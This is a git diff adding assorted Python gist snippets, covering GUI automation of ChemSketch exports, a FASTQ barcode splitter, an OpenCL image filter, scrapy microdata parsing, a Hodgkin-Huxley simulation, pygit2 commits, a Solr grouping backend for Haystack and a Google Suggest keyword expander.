diff --git a/hard-gists/3721106/snippet.py b/hard-gists/3721106/snippet.py
new file mode 100644
index 00000000..5324d1e5
--- /dev/null
+++ b/hard-gists/3721106/snippet.py
@@ -0,0 +1,53 @@
+import pywinauto
+import os
+import doctest
+from pywinauto import application
+from time import sleep
+from pywinauto.timings import Timings
+
+Timings.Slow()
+Timings.after_sendkeys_key_wait =0.015
+Timings.after_menu_wait =0.1
+Timings.after_click_wait =0.2
+Timings.after_closeclick_wait =0.2
+
+path_to_files = "C:\\My Documents\\Mini Projects\\sk2ToMol\\input\\"
+path_to_output = "C:\\My Documents\\Mini Projects\\sk2ToMol\\output\\"
+
+def escape(filename):
+   """Escape the filename
+   >>> escape("(3-ethoxypropyl)mercury bromide.sk2")
+   '{(}3-ethoxypropyl{)}mercury bromide.sk2'
+   """
+   newfilename = filename.replace("(", "{(}").replace(")", "{)}")
+
+   return newfilename
+
+if __name__ == "__main__":
+   doctest.testmod()
+
+   dir = os.listdir(path_to_files);
+   app = application.Application()
+   dontConvert = False # Set to True to skip successfully converted files
+   for filename in dir:
+      if filename.endswith("ContinueHere.sk2"):
+         dontConvert = False
+      if dontConvert:
+         continue
+         
+      window = app.window_(title_re='ACD/ChemSketch.*\.sk2')
+      window.TypeKeys("^o")
+
+      window2 = app.window_(title_re='Open Document')
+      window2.TypeKeys("%n")
+      filename = path_to_files + escape(filename)
+
+      window2.TypeKeys(filename +"%o", with_spaces = True)
+      sleep(0.2)
+      window.TypeKeys("%fe")
+      window3 = app.window_(title_re='Export')
+      window3.TypeKeys("{ENTER}");
+
+      window = app.window_(title_re='ACD/ChemSketch.*\.sk2')
+      sleep(0.5)
+      window.TypeKeys("^w")
\ No newline at end of file
diff --git a/hard-gists/3725741/._snippet.py b/hard-gists/3725741/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3725741/._snippet.py differ
diff --git a/hard-gists/3725741/snippet.py b/hard-gists/3725741/snippet.py
new file mode 100644
index 00000000..10078813
--- /dev/null
+++ b/hard-gists/3725741/snippet.py
@@ -0,0 +1,136 @@
+"""
+barcode_splitter.py
+
+Barcode splitter for fastq sequencing files, that matches using Levenshtein
+distance.
+
+USAGE:
+
+python barcode_splitter.py reads.fastq index_reads.fastq barcodes.txt
+
+Takes three files: a raw reads file, a barcode index reads file, where each
+barcode corresponds to a read in the raw file, and an catalog file in a
+format similar to:
+
+group1	TGACCA
+group2	GCCAAT
+group3	CAGATC
+
+This program matches each index to the closest barcode, including mutations,
+insertions, and deletions. It then splits the file according to those indices-
+in this case, into group1.fastq, group2.fastq, and group3.fastq.
+"""
+
+import sys
+import warnings
+import itertools
+import collections
+
+from Bio import SeqIO
+
+
+def levenshtein_distance(s1, s2):
+    """
+    Python version of Levenshtein distance for compatability. The third-party
+    library is much faster and recommended. Taken from recipe at:
+    http://code.activestate.com/recipes/576874-levenshtein-distance/
+    """
+    l1 = len(s1)
+    l2 = len(s2)
+
+    matrix = [range(l1 + 1)] * (l2 + 1)
+    for zz in xrange(l2 + 1):
+        matrix[zz] = range(zz, zz + l1 + 1)
+    for zz in range(0, l2):
+        for sz in range(0, l1):
+            if s1[sz] == s2[zz]:
+                matrix[zz + 1][sz + 1] = min(matrix[zz + 1][sz] + 1,
+                                    matrix[zz][sz + 1] + 1, matrix[zz][sz])
+            else:
+                matrix[zz + 1][sz + 1] = min(matrix[zz + 1][sz] + 1,
+                                    matrix[zz][sz + 1] + 1, matrix[zz][sz] + 1)
+    return matrix[l2][l1]
+
+
+try:
+    import Levenshtein
+    levenshtein_distance = Levenshtein.distance
+except ImportError:
+    warnings.warn("python-Levenshtein package not found. The package is " +
+                  "recommended as it makes barcode splitting much faster. " +
+                  "Using native Python Levenshtein distance function instead.")
+
+
+class BarcodeIndex:
+    """Represents a set of indices, with the ability to find the closest one"""
+    def __init__(self, index_file, max_distance=3):
+        self.cache = {}
+        with open(index_file) as inf:
+            for l in inf:
+                if l.startswith("#") or l == "":
+                    continue
+                g, barcode = l.split("\t")
+                self.cache[barcode] = g
+        self.barcodes = self.cache.keys()
+        self.groups = self.cache.values()
+        self.max_distance = max_distance
+
+    def find_barcode(self, barcode):
+        """
+        match barcode and return the group it's supposed to be in. If
+        there is none within the Levenshtein distance given, or if there
+        is a tie, return None
+        """
+        # if there's an exact match, return that
+        exact = self.cache.get(barcode)
+        if exact is not None:
+            return exact
+
+        # find the Levenshtein distance to each
+        distances = [levenshtein_distance(barcode, b) for b in self.barcodes]
+        best = min(distances)
+        # check if there's a tie or the distance is too great:
+        if best > self.max_distance or distances.count(best) > 1:
+            return None
+        # otherwise, return the best one, after caching it for future use
+        ret = self.groups[distances.index(best)]
+        self.cache[barcode] = ret
+        return ret
+
+
+def split_reads(read_file, barcode_file, index_file):
+    """
+    Given a fastq file of reads, a fastq file with corresponding barcodes,
+    and a file with the barcode index. Create one fastq file for each group
+    based on the closest matching barcode
+    """
+    index = BarcodeIndex(index_file)
+
+    counts = collections.defaultdict(int)
+
+    # one output for each group
+    outfs = dict([(g, open(g + ".fastq", "w"))
+                    for g in index.groups + ["Unassigned"]])
+
+    with open(read_file) as read_inf, open(barcode_file) as barcode_inf:
+        for r, b in itertools.izip(SeqIO.parse(read_inf, "fastq"),
+                                   SeqIO.parse(barcode_inf, "fastq")):
+            group = index.find_barcode(str(b.seq))
+            group = group if group != None else "Unassigned"
+            SeqIO.write([r], outfs[group], "fastq")
+            counts[group] += 1
+
+        for k, v in sorted(counts.items(), key=lambda t: t[0] == "Unassigned"):
+            print k, v
+
+    for o in outfs.values():
+        o.close()
+
+
+if __name__ == "__main__":
+    if len(sys.argv) != 4:
+        print "USAGE: python barcode_splitter.py reads.fastq index.fastq",
+        print "barcodes.txt"
+        sys.exit(1)
+    [read_file, barcode_file, index_file] = sys.argv[1:]
+    split_reads(read_file, barcode_file, index_file)
diff --git a/hard-gists/3728656/._snippet.py b/hard-gists/3728656/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3728656/._snippet.py differ
diff --git a/hard-gists/3728656/snippet.py b/hard-gists/3728656/snippet.py
new file mode 100644
index 00000000..0fa2a7d0
--- /dev/null
+++ b/hard-gists/3728656/snippet.py
@@ -0,0 +1,15 @@
+#!/usr/bin/python
+#
+# Usage: python paste_img.py dest_file.png
+#
+# This program readd the image stored in the clipboard, and dumps it into a file
+
+import gtk, pygtk
+pygtk.require('2.0')
+import sys
+
+dest_file = sys.argv[1]
+
+clipboard = gtk.clipboard_get()
+image = clipboard.wait_for_image()
+image.save(dest_file, dest_file.split(".")[-1])
diff --git a/hard-gists/3735779/._snippet.py b/hard-gists/3735779/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3735779/._snippet.py differ
diff --git a/hard-gists/3735779/snippet.py b/hard-gists/3735779/snippet.py
new file mode 100644
index 00000000..00ee841a
--- /dev/null
+++ b/hard-gists/3735779/snippet.py
@@ -0,0 +1,97 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# vim: filetype=pyopencl.python
+
+import sys
+import time
+from PyQt4 import QtCore
+from PyQt4 import QtGui
+import pyopencl as cl
+import numpy
+
+CL_SOURCE = '''//CL//
+__kernel void convert(
+    read_only image2d_t src,
+    write_only image2d_t dest,
+    const int width,
+    const int height
+)
+{
+    const sampler_t sampler =  CLK_NORMALIZED_COORDS_FALSE | CLK_ADDRESS_CLAMP_TO_EDGE | CLK_FILTER_NEAREST;
+    int2 pos = (int2)(get_global_id(0), get_global_id(1));
+
+    uint4 pix = 4 * read_imageui(src, sampler, pos);
+    pix += read_imageui(src, sampler, (int2)(pos.x - 1, pos.y - 1));
+    pix += read_imageui(src, sampler, (int2)(pos.x - 1, pos.y)) * 2;
+    pix += read_imageui(src, sampler, (int2)(pos.x - 1, pos.y + 1));
+    pix += read_imageui(src, sampler, (int2)(pos.x , pos.y - 1)) * 2;
+    pix += read_imageui(src, sampler, (int2)(pos.x , pos.y + 1)) * 2;
+    pix += read_imageui(src, sampler, (int2)(pos.x + 1, pos.y - 1));
+    pix += read_imageui(src, sampler, (int2)(pos.x + 1, pos.y)) * 2;
+    pix += read_imageui(src, sampler, (int2)(pos.x + 1, pos.y + 1));
+    //pix /= (uint4)(16, 16, 16, 16);
+    pix.x /= 16;
+    pix.y /= 16;
+    pix.z /= 16;
+    pix.w /= 16;
+    write_imageui(dest, pos, pix);
+}
+'''
+
+class Widget(QtGui.QWidget):
+    def __init__(self, parent=None):
+        self.ctx = cl.create_some_context()
+        self.queue = cl.CommandQueue(self.ctx)
+        self.prg = cl.Program(self.ctx, CL_SOURCE).build()
+
+        super(Widget, self).__init__(parent)
+
+        self.setWindowTitle('Gaussian Filter')
+        self.resize(300, 300)
+        self.setAcceptDrops(True)
+
+        self.image_label = QtGui.QLabel('Drag & drop image here')
+
+        layout = QtGui.QHBoxLayout()
+        layout.addWidget(self.image_label)
+        self.setLayout(layout)
+
+    def dragEnterEvent(self, event):
+        if event.mimeData().hasUrls():
+            event.accept()
+        else:
+            event.ignore()
+
+    def dropEvent(self, event):
+        filename = event.mimeData().urls()[0].path()
+        img = QtGui.QImage(filename)
+
+        start = time.time()
+        image = self.convert(img)
+        stop = time.time()
+        #print 'processing time', stop - start
+
+        pixmap = QtGui.QPixmap()
+        pixmap.convertFromImage(image)
+        self.image_label.setPixmap(pixmap)
+
+    def convert(self, img):
+        src = numpy.fromstring(img.bits().asstring(img.byteCount()), dtype=numpy.uint8)
+        src.shape = h, w, _ = img.height(), img.width(), 4
+
+        mf = cl.mem_flags
+        src_buf = cl.image_from_array(self.ctx, src, 4)
+        fmt = cl.ImageFormat(cl.channel_order.RGBA, cl.channel_type.UNSIGNED_INT8)
+        dest_buf = cl.Image(self.ctx, mf.WRITE_ONLY, fmt, shape=(w, h))
+
+        self.prg.convert(self.queue, (w, h), None, src_buf, dest_buf, numpy.int32(w), numpy.int32(h))
+
+        dest = numpy.empty_like(src)
+        cl.enqueue_copy(self.queue, dest, dest_buf, origin=(0, 0), region=(w, h))
+        return QtGui.QImage(str(dest.data), w, h, QtGui.QImage.Format_RGB32)
+
+if __name__ == '__main__':
+    app = QtGui.QApplication(sys.argv)
+    window = Widget()
+    window.show()
+    sys.exit(app.exec_())
\ No newline at end of file
diff --git a/hard-gists/373f0857211e860c7591/._snippet.py b/hard-gists/373f0857211e860c7591/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/373f0857211e860c7591/._snippet.py differ
diff --git a/hard-gists/373f0857211e860c7591/snippet.py b/hard-gists/373f0857211e860c7591/snippet.py
new file mode 100644
index 00000000..62d8c9d8
--- /dev/null
+++ b/hard-gists/373f0857211e860c7591/snippet.py
@@ -0,0 +1,106 @@
+from scrapy.selector import Selector
+
+selector = Selector(text="""
+<div itemscope itemtype ="http://schema.org/Movie">
+  <h1 itemprop="name">Avatar</h1>
+  <span>Director: <span itemprop="director">James Cameron</span> (born August 16, 1954)</span>
+  <span itemprop="genre">Science fiction</span>
+  <a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer">Trailer</a>
+</div>""", type="html")
+
+for item in selector.xpath('.//*[@itemscope]'):
+    print item.xpath('@itemtype').extract()
+    for property in item.xpath('.//*[@itemprop]'):
+        print property.xpath('@itemprop').extract(),
+        print property.xpath('string(.)').extract(),
+        print property.xpath('@*').extract()
+
+print
+selector = Selector(text="""
+<div itemscope itemtype="http://schema.org/Movie">
+  <h1 itemprop="name">Avatar</h1>
+  <div itemprop="director" itemscope itemtype="http://schema.org/Person">
+  Director: <span itemprop="name">James Cameron</span> 
+(born <time itemprop="birthDate" datetime="1954-08-16">August 16, 1954</time>)
+  </div>
+  <span itemprop="genre">Science fiction</span>
+  <a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer">Trailer</a>
+</div>""", type="html")
+
+
+for item in selector.xpath('.//*[@itemscope]'):
+    print item.xpath('@itemtype').extract()
+    for property in item.xpath('.//*[@itemprop]'):
+        print property.xpath('@itemprop').extract(),
+        print property.xpath('string(.)').extract(),
+        print property.xpath('@*').extract()
+
+print
+
+for item in selector.xpath('.//*[@itemscope]'):
+    print "Item:", item.xpath('@itemtype').extract()
+    for property in item.xpath('.//*[@itemprop]'):
+        print "Property:",
+        print property.xpath('@itemprop').extract(),
+        print property.xpath('string(.)').extract()
+        for position, attribute in enumerate(property.xpath('@*'), start=1):
+            print "attribute: name=%s; value=%s" % (
+                property.xpath('name(@*[%d])' % position).extract(),
+                attribute.extract())
+        print
+    print
+
+
+for item in selector.xpath('.//*[@itemscope]'):
+    print "Item:", item.xpath('@itemtype').extract()
+    for property in item.xpath(
+            """set:difference(.//*[@itemprop],
+                              .//*[@itemscope]//*[@itemprop])"""):
+        print "Property:", property.xpath('@itemprop').extract(),
+        print property.xpath('string(.)').extract()
+        for position, attribute in enumerate(property.xpath('@*'), start=1):
+            print "attribute: name=%s; value=%s" % (
+                property.xpath('name(@*[%d])' % position).extract(),
+                attribute.extract())
+        print
+    print
+
+for item in selector.xpath('.//*[@itemscope]'):
+    print "Item:", item.xpath('@itemtype').extract()
+    print "ID:", item.xpath("""count(preceding::*[@itemscope])
+                             + count(ancestor::*[@itemscope])
+                             + 1""").extract()
+
+
+import pprint
+items = []
+for itemscope in selector.xpath('//*[@itemscope][@itemtype]'):
+    item = {"itemtype": itemscope.xpath('@itemtype').extract()[0]}
+    item["item_id"] = int(float(itemscope.xpath("""count(preceding::*[@itemscope])
+                                                 + count(ancestor::*[@itemscope])
+                                                 + 1""").extract()[0]))
+    properties = []
+    for itemprop in itemscope.xpath("""set:difference(.//*[@itemprop],
+                                                      .//*[@itemscope]//*[@itemprop])"""):
+        property = {"itemprop": itemprop.xpath('@itemprop').extract()[0]}
+        if itemprop.xpath('@itemscope'):
+            property["value_ref"] = {
+                "item_id": int(float(itemprop.xpath("""count(preceding::*[@itemscope])
+                                                     + count(ancestor::*[@itemscope])
+                                                     + 1""").extract()[0]))
+            }
+        else:
+            value = itemprop.xpath('normalize-space(.)').extract()[0]
+            if value:
+                property["value"] = value
+        attributes = []
+        for index, attribute in enumerate(itemprop.xpath('@*'), start=1):
+            propname = itemprop.xpath('name(@*[%d])' % index).extract()[0]
+            if propname not in ("itemprop", "itemscope"):
+                attributes.append((propname, attribute.extract()))
+        if attributes:
+            property["attributes"] = dict(attributes)
+        properties.append(property)
+    item["properties"] = properties
+    items.append(item)
+pprint.pprint(items)
diff --git a/hard-gists/37463b35ef8606629d2e/._snippet.py b/hard-gists/37463b35ef8606629d2e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/37463b35ef8606629d2e/._snippet.py differ
diff --git a/hard-gists/37463b35ef8606629d2e/snippet.py b/hard-gists/37463b35ef8606629d2e/snippet.py
new file mode 100644
index 00000000..975d2850
--- /dev/null
+++ b/hard-gists/37463b35ef8606629d2e/snippet.py
@@ -0,0 +1,90 @@
+import scipy as sp
+import pylab as plt
+from scipy.integrate import odeint
+from scipy import stats
+import scipy.linalg as lin
+
+## Full Hodgkin-Huxley Model (copied from Computational Lab 2)
+
+# Constants
+C_m  =   1.0 # membrane capacitance, in uF/cm^2
+g_Na = 120.0 # maximum conducances, in mS/cm^2
+g_K  =  36.0
+g_L  =   0.3
+E_Na =  50.0 # Nernst reversal potentials, in mV
+E_K  = -77.0
+E_L  = -54.387
+
+# Channel gating kinetics
+# Functions of membrane voltage
+def alpha_m(V): return 0.1*(V+40.0)/(1.0 - sp.exp(-(V+40.0) / 10.0))
+def beta_m(V):  return 4.0*sp.exp(-(V+65.0) / 18.0)
+def alpha_h(V): return 0.07*sp.exp(-(V+65.0) / 20.0)
+def beta_h(V):  return 1.0/(1.0 + sp.exp(-(V+35.0) / 10.0))
+def alpha_n(V): return 0.01*(V+55.0)/(1.0 - sp.exp(-(V+55.0) / 10.0))
+def beta_n(V):  return 0.125*sp.exp(-(V+65) / 80.0)
+
+# Membrane currents (in uA/cm^2)
+#  Sodium (Na = element name)
+def I_Na(V,m,h):return g_Na * m**3 * h * (V - E_Na)
+#  Potassium (K = element name)
+def I_K(V, n):  return g_K  * n**4     * (V - E_K)
+#  Leak
+def I_L(V):     return g_L             * (V - E_L)
+
+# External current
+def I_inj(t): # step up 10 uA/cm^2 every 100ms for 400ms
+    return 10*(t>100) - 10*(t>200) + 35*(t>300)
+    #return 10*t
+
+# The time to integrate over
+t = sp.arange(0.0, 400.0, 0.1)
+
+# Integrate!
+def dALLdt(X, t):
+    V, m, h, n = X
+    
+    #calculate membrane potential & activation variables
+    dVdt = (I_inj(t) - I_Na(V, m, h) - I_K(V, n) - I_L(V)) / C_m
+    dmdt = alpha_m(V)*(1.0-m) - beta_m(V)*m
+    dhdt = alpha_h(V)*(1.0-h) - beta_h(V)*h
+    dndt = alpha_n(V)*(1.0-n) - beta_n(V)*n
+    return dVdt, dmdt, dhdt, dndt
+    
+X = odeint(dALLdt, [-65, 0.05, 0.6, 0.32], t)
+V = X[:,0]
+m = X[:,1]
+h = X[:,2]
+n = X[:,3]
+ina = I_Na(V,m,h)
+ik = I_K(V, n)
+il = I_L(V)
+
+plt.figure()
+
+plt.subplot(4,1,1)
+plt.title('Hodgkin-Huxley Neuron')
+plt.plot(t, V, 'k')
+plt.ylabel('V (mV)')
+
+plt.subplot(4,1,2)
+plt.plot(t, ina, 'c', label='$I_{Na}$')
+plt.plot(t, ik, 'y', label='$I_{K}$')
+plt.plot(t, il, 'm', label='$I_{L}$')
+plt.ylabel('Current')
+plt.legend()
+
+plt.subplot(4,1,3)
+plt.plot(t, m, 'r', label='m')
+plt.plot(t, h, 'g', label='h')
+plt.plot(t, n, 'b', label='n')
+plt.ylabel('Gating Value')
+plt.legend()
+
+plt.subplot(4,1,4)
+plt.plot(t, I_inj(t), 'k')
+plt.xlabel('t (ms)')
+plt.ylabel('$I_{inj}$ ($\\mu{A}/cm^2$)')
+plt.ylim(-1, 31)
+
+plt.show()
\ No newline at end of file
diff --git a/hard-gists/3750225/._snippet.py b/hard-gists/3750225/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3750225/._snippet.py differ
diff --git a/hard-gists/3750225/snippet.py b/hard-gists/3750225/snippet.py
new file mode 100644
index 00000000..177ab048
--- /dev/null
+++ b/hard-gists/3750225/snippet.py
@@ -0,0 +1,40 @@
+"""
+test commit creation with pygit2
+
+To see the result:
+rm -rf foo && python test_cc.py  && cd foo/ && git log  --graph --oneline --date-order --decorate --color --all && git status && cd ..
+
+"""
+import os
+import sys
+import pygit2
+import stat
+from time import time
+
+
+data = 'This is an empty README file'
+fn = 'README'
+
+s = pygit2.Signature('Alice Author', 'alice@authors.tld', time(), 0)
+
+r = pygit2.init_repository('foo', False)
+bld = r.TreeBuilder()
+t = bld.write()
+c = r.create_commit('HEAD', s,s, 'Create main branch', t, [])
+
+
+f = open(os.path.join(r.workdir,fn), 'w')
+f.write(data)
+f.close()
+
+b = r.create_blob_fromfile(fn)
+bld = r.TreeBuilder(r.head.tree)
+bld.insert(fn, b, os.stat(fn).st_mode )
+t = bld.write()
+
+r.index.read()
+r.index.add(fn)
+r.index.write()
+
+
+c = r.create_commit('HEAD', s,s, 'Added a README', t, [r.head.oid])
diff --git a/hard-gists/3750774/._snippet.py b/hard-gists/3750774/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3750774/._snippet.py differ
diff --git a/hard-gists/3750774/snippet.py b/hard-gists/3750774/snippet.py
new file mode 100644
index 00000000..93804470
--- /dev/null
+++ b/hard-gists/3750774/snippet.py
@@ -0,0 +1,201 @@
+# encoding: utf-8
+"""Experimental Solr Grouping / Field Collapsing backend for Haystack 2.0"""
+# NOTE: You must be running the latest Pysolr main - no PyPI release yet!
+# See https://gist.github.com/3750774 for the current version of this code
+# See http://wiki.apache.org/solr/FieldCollapsing for the Solr feature documentation
+from __future__ import absolute_import
+
+import logging
+
+from django.db.models.loading import get_model
+from haystack.backends import EmptyResults
+from haystack.backends.solr_backend import SolrEngine, SolrSearchBackend, SolrSearchQuery
+from haystack.constants import DJANGO_CT, DJANGO_ID, ID
+from haystack.models import SearchResult
+from haystack.query import SearchQuerySet
+
+# Since there's no chance of this being portable (yet!) we'll import explicitly
+# rather than using the generic imports:
+
+
+class GroupedSearchQuery(SolrSearchQuery):
+
+    def __init__(self, *args, **kwargs):
+        super(GroupedSearchQuery, self).__init__(*args, **kwargs)
+        self.grouping_field = None
+        self._total_document_count = None
+
+    def _clone(self, **kwargs):
+        clone = super(GroupedSearchQuery, self)._clone(**kwargs)
+        clone.grouping_field = self.grouping_field
+        return clone
+
+    def add_group_by(self, field_name):
+        self.grouping_field = field_name
+
+    def post_process_facets(self, results):
+        # FIXME: remove this hack once https://github.com/toastdriven/django-haystack/issues/750 lands
+        # See matches dance in _process_results below:
+        total = 0
+
+        if 'hits' in results:
+            total = int(results['hits'])
+        elif 'matches' in results:
+            total = int(results['matches'])
+
+        self._total_document_count = total
+
+        return super(GroupedSearchQuery, self).post_process_facets(results)
+
+    def get_total_document_count(self):
+        """Return the total number of matching documents rather than document groups
+
+        If the query has not been run, this will execute the query and store the results.
+        """
+        if self._total_document_count is None:
+            self.run()
+
+        return self._total_document_count
+
+    def build_params(self, *args, **kwargs):
+        res = super(GroupedSearchQuery, self).build_params(*args, **kwargs)
+        if self.grouping_field is not None:
+            res.update({'group': 'true',
+                        'group.field': self.grouping_field,
+                        'group.ngroups': 'true',
+                        'group.limit': 2,  # TODO: Don't hard-code this
+                        'group.sort': 'django_ct desc, score desc',
+                        'group.facet': 'true',
+                        'result_class': GroupedSearchResult})
+        return res
+
+
+class GroupedSearchResult(object):
+
+    def __init__(self, field_name, group_data, raw_results={}):
+        self.field_name = field_name
+        self.key = group_data['groupValue']  # TODO: convert _to_python
+        self.hits = group_data['doclist']['numFound']
+        self.documents = list(self.process_documents(group_data['doclist']['docs'],
+                                                     raw_results=raw_results))
+
+    def __unicode__(self):
+        return 'GroupedSearchResult({0.field_name}={0.group_key}, hits={0.hits})'.format(self)
+
+    def process_documents(self, doclist, raw_results):
+        # TODO: tame import spaghetti
+        from haystack import connections
+        engine = connections["en"]
+        conn = engine.get_backend().conn
+
+        unified_index = engine.get_unified_index()
+        indexed_models = unified_index.get_indexed_models()
+
+        for raw_result in doclist:
+            app_label, model_name = raw_result[DJANGO_CT].split('.')
+            additional_fields = {}
+            model = get_model(app_label, model_name)
+
+            if model and model in indexed_models:
+                for key, value in raw_result.items():
+                    index = unified_index.get_index(model)
+                    string_key = str(key)
+
+                    if string_key in index.fields and hasattr(index.fields[string_key], 'convert'):
+                        additional_fields[string_key] = index.fields[string_key].convert(value)
+                    else:
+                        additional_fields[string_key] = conn._to_python(value)
+
+                del(additional_fields[DJANGO_CT])
+                del(additional_fields[DJANGO_ID])
+                del(additional_fields['score'])
+
+                if raw_result[ID] in getattr(raw_results, 'highlighting', {}):
+                    additional_fields['highlighted'] = raw_results.highlighting[raw_result[ID]]
+
+                result = SearchResult(app_label, model_name, raw_result[DJANGO_ID],
+                                      raw_result['score'], **additional_fields)
+                yield result
+
+
+class GroupedSearchQuerySet(SearchQuerySet):
+
+    def __init__(self, *args, **kwargs):
+        super(GroupedSearchQuerySet, self).__init__(*args, **kwargs)
+
+        if not isinstance(self.query, GroupedSearchQuery):
+            raise TypeError("GroupedSearchQuerySet must be used with a GroupedSearchQuery query")
+
+    def group_by(self, field_name):
+        """Have Solr group results based on the provided field name"""
+        clone = self._clone()
+        clone.query.add_group_by(field_name)
+        return clone
+
+    def post_process_results(self, results):
+        # Override the default model-specific processing
+        return results
+
+    def total_document_count(self):
+        """Returns the count for the total number of matching documents rather than groups
+
+        A GroupedSearchQuerySet normally returns the number of document groups; this allows
+        you to indicate the total number of matching documents - quite handy for making facet counts match the
+        displayed numbers
+        """
+        if self.query.has_run():
+            return self.query.get_total_document_count()
+        else:
+            clone = self._clone()
+            return clone.query.get_total_document_count()
+
+
+class GroupedSolrSearchBackend(SolrSearchBackend):
+
+    def build_search_kwargs(self, *args, **kwargs):
+        group_kwargs = [(i, kwargs.pop(i)) for i in kwargs.keys() if i.startswith("group")]
+
+        res = super(GroupedSolrSearchBackend, self).build_search_kwargs(*args, **kwargs)
+
+        res.update(group_kwargs)
+        if group_kwargs and 'sort' not in kwargs:
+            res['sort'] = 'score desc, item_id asc'
+
+        return res
+
+    def _process_results(self, raw_results, result_class=None, **kwargs):
+        res = super(GroupedSolrSearchBackend, self)._process_results(raw_results,
+                                                                     result_class=result_class,
+                                                                     **kwargs)
+
+        if result_class and not issubclass(result_class, GroupedSearchResult):
+            return res
+
+        if len(raw_results.docs):
+            raise RuntimeError("Grouped Solr searches should return grouped elements, not docs!")
+
+        assert not res['results']
+        assert not res['hits']
+
+        if isinstance(raw_results, EmptyResults):
+            return res
+
+        assert len(raw_results.grouped) == 1, "Grouping on more than one field is not supported"
+
+        res['results'] = results = []
+        for field_name, field_group in raw_results.grouped.items():
+            res['hits'] = field_group['ngroups']
+            res['matches'] = field_group['matches']
+            for group in field_group['groups']:
+                if group['groupValue'] is None:
+                    logging.warning("Unexpected NULL grouping", extra={'data': raw_results})
+                    res['hits'] -= 1  # Avoid confusing Haystack with excluded bogon results
+                    continue
+                results.append(result_class(field_name, group, raw_results=raw_results))
+
+        return res
+
+
+class GroupedSolrEngine(SolrEngine):
+    backend = GroupedSolrSearchBackend
+    query = GroupedSearchQuery
diff --git a/hard-gists/3750993/._snippet.py b/hard-gists/3750993/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3750993/._snippet.py differ
diff --git a/hard-gists/3750993/snippet.py b/hard-gists/3750993/snippet.py
new file mode 100644
index 00000000..5dd88056
--- /dev/null
+++ b/hard-gists/3750993/snippet.py
@@ -0,0 +1,109 @@
+from urllib import quote
+from string import ascii_lowercase
+from operator import itemgetter
+import os
+import random
+import requests
+from datetime import datetime
+from lib.languages import LANGUAGES, get_language_by_name
+from lib.utils import format_timedelta
+
+try:
+    import json
+except ImportError:
+    import simplejson as json
+
+#Set the user agent to a common browser user agent string to get always utf-8 encoded response
+headers = {'User-agent':'Mozilla/5.0'}
+languages = sorted(LANGUAGES, key=itemgetter('name'))
+#proxy_list = ['http://uberminiproxy.appspot.com/', 
+            #'http://uberminiproxy-1.appspot.com/', 
+            #'http://uberminiproxy-2.appspot.com/',
+            #'http://uberminiproxy-3.appspot.com/',
+            #'http://uberminiproxy-4.appspot.com/']
+#Alternative URL
+#www.google.com/complete/search?hjson=true&qu=a
+
+def get_suggestion(query, lang, tld, ds=''):
+    """Query Google suggest service"""
+    suggestions = []
+    if query:
+        if isinstance(query, unicode): 
+            query = query.encode('utf-8')
+        query = quote(query)
+        url = "http://clients1.google.%s/complete/search?hl=%s&q=%s&json=t&ds=%s&client=serp" %(tld, lang, query, ds)
+        #the_url = random.choice(proxy_list)
+        #response = requests.get(the_url, headers=headers, params={'url':url})
+        response = requests.get(url, headers=headers)
+        if response.ok:
+            result = json.loads(response.content)
+            suggestions = [i for i in result[1]]
+        else:
+            pass #FIXME handle and display errors
+    return suggestions
+
+def get_news_suggestion(query, lang, country):
+    suggestions = []
+    if query:
+        if isinstance(query, unicode): 
+            query = query.encode('utf-8')
+        query = quote(query)
+        url = "http://news.google.com/complete/search?hl=%s&gl=%s&ds=n&nolabels=t&hjson=t&client=news&q=%s" %(lang, country, query)
+        #the_url = random.choice(proxy_list)
+        #response = requests.get(the_url, headers=headers, params={'url':url})
+        response = requests.get(url, headers=headers)
+        if response.ok:
+            result = json.loads(response.content)
+            suggestions = [i[0] for i in result[1]]
+    return suggestions
+
+def single_suggest(query, lang, source):
+    """Provide suggestions via AJAX"""
+    result = []
+    language = get_language_by_name(lang)
+    if source == 'web':
+        result = get_suggestion(query, language['code'], language['tld'])
+    elif source == 'pr':
+        result = get_suggestion(query, language['code'], language['tld'], ds='pr')
+    elif source == 'news':
+        result = get_news_suggestion(query, language['code'], language['country'])
+    return result[1:]
+
+def single_letter_recursive_suggest(query, language, source):
+    """Get suggestion and expand the query """
+    
+    selected_language = get_language_by_name(language)
+    expansion = []
+    chars = ascii_lowercase
+    
+    try:
+        if source == 'web':
+            gweb = get_suggestion(query, selected_language['code'], selected_language['tld'])
+        elif source == 'pr':
+            gweb = get_suggestion(query, selected_language['code'], selected_language['tld'], ds='pr')
+        elif source == 'news':
+            gweb = get_news_suggestion(query, selected_language['code'], selected_language['country'])
+        for letter in chars:
+            exp_query = query + ' ' + letter 
+            if source == 'web':
+                suggestions = get_suggestion(exp_query, selected_language['code'], selected_language['tld'])
+            elif source == 'pr':
+                suggestions = get_suggestion(query, selected_language['code'], selected_language['tld'], ds='pr')
+            elif source == 'news':
+                suggestions = get_news_suggestion(exp_query, selected_language['code'], selected_language['country'])
+            if suggestions:
+                expansion.append((letter, suggestions))
+
+    except (IOError, ValueError), e:
+        gweb = ''
+        expansion = ''
+    data = {'result':gweb, 'expansion':expansion, 'date':datetime.now()}
+    code = selected_language['code']
+    expansion_words = data['result']
+    for ex in data['expansion']:
+        expansion_words.extend(ex[1])
+    return expansion_words
+
+#Will this write the file - again
+if __name__ == "__main__":
+    print single_letter_recursive_suggest("patio door handle", "English/USA", "web")
\ No newline at end of file
diff --git a/hard-gists/375397bc942d134a3c82d0dd514f3fea/._snippet.py b/hard-gists/375397bc942d134a3c82d0dd514f3fea/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/375397bc942d134a3c82d0dd514f3fea/._snippet.py differ
